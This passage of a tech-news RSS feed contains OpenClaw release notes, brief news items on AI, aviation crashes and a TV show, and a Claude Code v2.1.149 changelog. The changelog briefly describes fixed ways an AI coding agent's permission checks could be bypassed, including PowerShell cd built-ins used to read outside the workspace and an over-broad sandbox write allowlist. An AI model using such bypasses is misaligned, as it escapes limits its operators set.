<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284837574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68252" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68252/hovercard" href="https://github.com/openclaw/openclaw/issues/68252">#68252</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293065762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69187/hovercard" href="https://github.com/openclaw/openclaw/issues/69187">#69187</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312560097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70402" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70402/hovercard" href="https://github.com/openclaw/openclaw/issues/70402">#70402</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313300565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70464/hovercard" href="https://github.com/openclaw/openclaw/pull/70464">#70464</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chiyouYCH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chiyouYCH">@chiyouYCH</a>.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324624469" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71185/hovercard" href="https://github.com/openclaw/openclaw/pull/71185">#71185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474114528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83950/hovercard" href="https://github.com/openclaw/openclaw/issues/83950">#83950</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492438443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84861/hovercard" href="https://github.com/openclaw/openclaw/pull/84861">#84861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493044796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84886/hovercard" href="https://github.com/openclaw/openclaw/issues/84886">#84886</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499730658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85208/hovercard" href="https://github.com/openclaw/openclaw/pull/85208">#85208</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481035938" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84319/hovercard" href="https://github.com/openclaw/openclaw/issues/84319">#84319</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481083191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84322/hovercard" href="https://github.com/openclaw/openclaw/pull/84322">#84322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffluk3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffluk3">@ffluk3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345792398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73781/hovercard" href="https://github.com/openclaw/openclaw/issues/73781">#73781</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351648711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74434/hovercard" href="https://github.com/openclaw/openclaw/pull/74434">#74434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484116150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84488/hovercard" href="https://github.com/openclaw/openclaw/pull/84488">#84488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484034054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84483/hovercard" href="https://github.com/openclaw/openclaw/pull/84483">#84483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491951847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84818/hovercard" href="https://github.com/openclaw/openclaw/pull/84818">#84818</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491522584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84786/hovercard" href="https://github.com/openclaw/openclaw/pull/84786">#84786</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494202248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84936" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84936/hovercard" href="https://github.com/openclaw/openclaw/issues/84936">#84936</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494744767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84954/hovercard" href="https://github.com/openclaw/openclaw/pull/84954">#84954</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489377860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84681/hovercard" href="https://github.com/openclaw/openclaw/pull/84681">#84681</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a> refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Totalsolutionsync/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Totalsolutionsync">@Totalsolutionsync</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154052542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55893" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55893/hovercard" href="https://github.com/openclaw/openclaw/pull/55893">#55893</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/litang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/litang9">@litang9</a>.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437943475" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81403/hovercard" href="https://github.com/openclaw/openclaw/pull/81403">#81403</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446205215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81815/hovercard" href="https://github.com/openclaw/openclaw/pull/81815">#81815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413285415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79900" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79900/hovercard" href="https://github.com/openclaw/openclaw/pull/79900">#79900</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267080618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67052/hovercard" href="https://github.com/openclaw/openclaw/issues/67052">#67052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a> (closed), prior attempt <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291455267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69026/hovercard" href="https://github.com/openclaw/openclaw/pull/69026">#69026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpruit20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpruit20">@jpruit20</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475877718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84059" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84059/hovercard" href="https://github.com/openclaw/openclaw/issues/84059">#84059</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479751609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84250/hovercard" href="https://github.com/openclaw/openclaw/pull/84250">#84250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft said its AI made Google dance in 2023, three years later Gemini is beating Copilot]]></title>
<description><![CDATA[Microsoft shocked the tech world with AI-powered Bing and Copilot, hoping to make Google “dance.” But Google’s Gemini counterattack transformed search itself. This deep dive explores Microsoft’s AI history, Copilot mistakes, Google’s AI takeover, and how Bing could still save the internet.
The po...]]></description>
<link>https://tsecurity.de/de/3544243/windows-tipps/microsoft-said-its-ai-made-google-dance-in-2023-three-years-later-gemini-is-beating-copilot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544243/windows-tipps/microsoft-said-its-ai-made-google-dance-in-2023-three-years-later-gemini-is-beating-copilot/</guid>
<pubDate>Sun, 24 May 2026 23:09:08 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft shocked the tech world with AI-powered Bing and Copilot, hoping to make Google “dance.” But Google’s Gemini counterattack transformed search itself. This deep dive explores Microsoft’s AI history, Copilot mistakes, Google’s AI takeover, and how Bing could still save the internet.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/05/25/microsoft-said-its-ai-made-google-dance-in-2023-three-years-later-gemini-is-beating-copilot/">Microsoft said its AI made Google dance in 2023, three years later Gemini is beating Copilot</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Air France, Airbus Guilty of Corporate Manslaughter In 2009 Air France 447 Crash]]></title>
<description><![CDATA[Long-time Slashdot reader UnknowingFool shares this report from the BBC:

Air France and Airbus have been found guilty of manslaughter over a 2009 plane crash which killed 228 people. The Paris Appeals Court found the airline and aircraft manufacturer "solely and entirely responsible" for the inc...]]></description>
<link>https://tsecurity.de/de/3542537/it-security-nachrichten/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542537/it-security-nachrichten/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash/</guid>
<pubDate>Sat, 23 May 2026 21:50:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-time Slashdot reader UnknowingFool shares this report from the BBC:

Air France and Airbus have been found guilty of manslaughter over a 2009 plane crash which killed 228 people. The Paris Appeals Court found the airline and aircraft manufacturer "solely and entirely responsible" for the incident, in which flight AF447 from Rio de Janeiro to Paris crashed into the Atlantic Ocean. The passenger jet stalled during a storm and plunged into the water, killing all on board. A court had previously cleared the companies in April 2023, but they were found guilty on Thursday after an eight-week trial. 

Both have repeatedly denied the charges and say they will appeal... The companies have been asked to pay the maximum fine — €225,000 ($261,720; £194,500) each — but some victims' families have criticised the amount as a token penalty... 

In 2012, French investigators found a combination of technical failure involving ice in the plane's sensors and the pilots' inability to react to the aircraft stalling led to it plunging into the sea. The captain was on a break when the co-pilots became confused by faulty air-speed readings. They then mistakenly pointed the nose of the plane upwards when it stalled, instead of down. Investigators concluded the co-pilots did not have the training to deal with the situation. Pilot training has since been improved and the speed sensors replaced.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Air+France%2C+Airbus+Guilty+of+Corporate+Manslaughter+In+2009+Air+France+447+Crash%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F23%2F1840256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F23%2F1840256%2Fair-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/05/23/1840256/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[People used AI to recreate the voices of pilots killed in a plane crash]]></title>
<description><![CDATA[People took a PDF file report about a plane crash and used AI to recreate the last few seconds its pilots' conversation.]]></description>
<link>https://tsecurity.de/de/3542110/it-nachrichten/people-used-ai-to-recreate-the-voices-of-pilots-killed-in-a-plane-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542110/it-nachrichten/people-used-ai-to-recreate-the-voices-of-pilots-killed-in-a-plane-crash/</guid>
<pubDate>Sat, 23 May 2026 17:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[People took a PDF file report about a plane crash and used AI to recreate the last few seconds its pilots' conversation.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let&#039;s Dance&quot; 2026: - Wer ist raus? Tränenreicher Abschied am 22.5]]></title>
<description><![CDATA["Let’s Dance" 2026: Das Halbfinale ist vorbei und ein Paar musste die Show dramatisch verlassen! Wer fliegt so kurz vor dem Finale raus? Wir haben das Ergebnis LIVE.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,												...]]></description>
<link>https://tsecurity.de/de/3541037/it-nachrichten/quotlet039s-dancequot-2026-wer-ist-raus-traenenreicher-abschied-am-225/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3541037/it-nachrichten/quotlet039s-dancequot-2026-wer-ist-raus-traenenreicher-abschied-am-225/</guid>
<pubDate>Sat, 23 May 2026 02:46:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let’s Dance" 2026: Das Halbfinale ist vorbei und ein Paar musste die Show dramatisch verlassen! Wer fliegt so kurz vor dem Finale raus? Wir haben das Ergebnis LIVE.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026: Der Punkte-Check, alle Wertungen vom 22.05. auf einen Blick]]></title>
<description><![CDATA["Let's Dance" 2026: Show 11 ist gelaufen und die Finalisten stehen fest! Wer musste kurz vor dem Ziel gehen? Hier sind alle Punkte und Jurywertungen im Check!
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	RTL+,																	Entertainment,			...]]></description>
<link>https://tsecurity.de/de/3540911/it-nachrichten/quotlets-dancequot-2026-der-punkte-check-alle-wertungen-vom-2205-auf-einen-blick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3540911/it-nachrichten/quotlets-dancequot-2026-der-punkte-check-alle-wertungen-vom-2205-auf-einen-blick/</guid>
<pubDate>Sat, 23 May 2026 00:31:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let's Dance" 2026: Show 11 ist gelaufen und die Finalisten stehen fest! Wer musste kurz vor dem Ziel gehen? Hier sind alle Punkte und Jurywertungen im Check!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.149]]></title>
<description><![CDATA[What's changed

/usage now shows a per-category breakdown of what's driving your limits usage — skills, subagents, plugins, and per-MCP-server cost
/diff detail view can now be scrolled with the keyboard (arrows, j/k, PgUp/PgDn, Space, Home/End)
Markdown output now renders GFM task list checkboxe...]]></description>
<link>https://tsecurity.de/de/3540897/downloads/v21149/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3540897/downloads/v21149/</guid>
<pubDate>Sat, 23 May 2026 00:16:13 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/usage</code> now shows a per-category breakdown of what's driving your limits usage — skills, subagents, plugins, and per-MCP-server cost</li>
<li><code>/diff</code> detail view can now be scrolled with the keyboard (arrows, <code>j</code>/<code>k</code>, <code>PgUp</code>/<code>PgDn</code>, <code>Space</code>, <code>Home</code>/<code>End</code>)</li>
<li>Markdown output now renders GFM task list checkboxes (<code>- [ ] todo</code> / <code>- [x] done</code>) instead of plain bullets</li>
<li>Enterprise: added the <code>allowAllClaudeAiMcps</code> managed setting to load claude.ai cloud MCP connectors alongside <code>managed-mcp.json</code></li>
<li>Fixed a PowerShell permission bypass: built-in <code>cd</code> functions (<code>cd..</code>, <code>cd\</code>, <code>cd~</code>, <code>X:</code>) changed the working directory undetected, letting a later command read outside the workspace</li>
<li>Fixed the sandbox write allowlist in git worktrees covering the entire main repository root instead of only the shared <code>.git</code> directory (with <code>hooks/</code> and <code>config</code> denied)</li>
<li>Fixed PowerShell prefix/wildcard allow rules (e.g. <code>PowerShell(dotnet.exe build *)</code>) not pre-approving native executables and scripts</li>
<li>Fixed a permission-analysis gap where the parser trusted stale variable-tracking values for <code>PWD</code>/<code>OLDPWD</code>/<code>DIRSTACK</code> across <code>cd</code>/<code>pushd</code>/<code>popd</code></li>
<li>Fixed <code>find</code> in the Bash tool exhausting the macOS system file/vnode table and crashing the host on large directory trees</li>
<li>Fixed the managed-settings approval dialog leaving the terminal frozen after accepting at startup</li>
<li>Fixed <code>/ultraplan</code> and remote session creation failing with "Could not capture uncommitted changes" when the working tree has no real changes</li>
<li>Fixed <code>otelHeadersHelper</code> failing silently when the script path contains spaces; helper failures are now reported in <code>/doctor</code> and the debug log</li>
<li>Fixed the thinking spinner staying amber across tool calls and onto fresh thinking bursts</li>
<li>Fixed collapsed Bash output reporting the wrong hidden-line count for outputs with many short lines</li>
<li>Fixed slash-command argument-hint clipping trailing typed characters when the hint overflows the input box</li>
<li>Fixed argument-hint and progressive arg suggestions not appearing after Tab-completing a skill whose frontmatter <code>name:</code> differs from its directory basename</li>
<li>Fixed the status bar showing the user's baseline <code>/effort</code> setting instead of the effort level applied by skill/agent <code>effort:</code> frontmatter</li>
<li>Fixed Ctrl+O transcript view freezing at the moment it was opened instead of tailing new messages</li>
<li>Fixed editing a recalled prompt-history entry losing the edit when navigating further up/down with arrow keys</li>
<li>Fixed <code>/config</code> exit summary reporting phantom changes to auto-compact and theme when toggling unrelated settings</li>
<li>Fixed <code>/insights</code> crashing when cached session-meta files are missing optional fields</li>
<li>Fixed malformed PowerShell and History tool calls with missing input being misclassified as reads in transcript collapsing</li>
<li>Fixed renaming a Remote Control session from claude.ai or the Claude mobile app not updating the local session name for <code>claude --resume</code></li>
<li>Fixed a race where a just-submitted prompt could appear twice in the up-arrow history</li>
<li>Fixed tapping the "Jump to bottom" pill in fullscreen mode not dismissing it immediately</li>
<li>Improved <code>/feedback</code> reports to include the conversation that happened before context compaction, making issues from earlier in long sessions easier to triage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[NTSB Wants PDF Removed After It Exposed Final Cockpit Audio From UPS Crash]]></title>
<description><![CDATA[The NTSB temporarily closed public access to nearly all investigation dockets after people used a spectrogram image from a PDF in the UPS flight 2976 crash file to reconstruct approximate cockpit voice recorder audio and post it online. "We show our work and we've been doing this type of thing fo...]]></description>
<link>https://tsecurity.de/de/3540770/it-security-nachrichten/ntsb-wants-pdf-removed-after-it-exposed-final-cockpit-audio-from-ups-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3540770/it-security-nachrichten/ntsb-wants-pdf-removed-after-it-exposed-final-cockpit-audio-from-ups-crash/</guid>
